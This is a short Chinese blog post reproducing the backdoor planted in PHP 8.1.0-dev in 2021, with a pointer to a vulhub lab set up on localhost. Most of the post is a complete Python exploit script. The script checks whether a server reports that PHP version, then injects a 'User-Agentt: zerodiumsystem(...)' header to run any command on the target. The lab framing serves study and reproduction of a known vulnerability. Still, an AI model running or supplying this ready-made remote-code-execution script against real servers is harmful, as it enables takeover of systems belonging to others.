PHP 8.1.0-dev 开发版本后门复现

最新推荐文章于 2024-10-22 16:35:20 发布

Jaky5320

最新推荐文章于 2024-10-22 16:35:20 发布

阅读量388

点赞数

CC 4.0 BY-SA版权

原文链接：https://mp.weixin.qq.com/s/z-KW94nHv834ZL1otQOHZA

本文介绍了PHP 8.1.0-dev开发版本中发现的一个后门，该后门允许攻击者通过修改User-Agent头执行任意代码。详细讲述了如何搭建环境复现漏洞，并提供了Python代码示例来检查目标是否受影响以及执行命令。通过访问本地地址可以查看漏洞效果。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x00：简介

PHP 8.1.0-dev 开发版本在2021年3月28日被植入后门,但是后门很快被发现并修正。当受害者使用该后门PHP代码时，攻击者可以通过修改User-Agent头来执行任意代码。

0x01：搭建环境

https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor

然后访问本地地址

http://127.0.0.1:8080/

0x02：漏洞复现

神秘代码

#!/usr/bin/env python3
import requests
import argparse

from requests.models import parse_header_links 

s = requests.Session()

def checkTarget(args):
    r = s.get(args.url)    
    for h in r.headers.items():
        if "PHP/8.1.0-dev" in h[1]:
            return True
    return False


def execCmd(args):
    r = s.get(args.url, headers={"User-Agentt":"zerodiumsystem(\""+args.cmd+"\");"})
    res = r.text.split("<!DOCTYPE html>")[0]
    if not res:
        print("[-] No Results")
    else:
        print("[+] Results:")
    print(res.strip())


def main():

    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Target URL (Eg: http://127.0.0.1:8080/)", required=True)
    parser.add_argument("-c", "--cmd", help="Command to execute (Eg: ls,id,whoami)", default="id")
    args = parser.parse_args()

    if checkTarget(args):
        execCmd(args)
    else:
        print("[!] Not Vulnerable or url error")
        exit(0)
    
if __name__ == "__main__":
    main()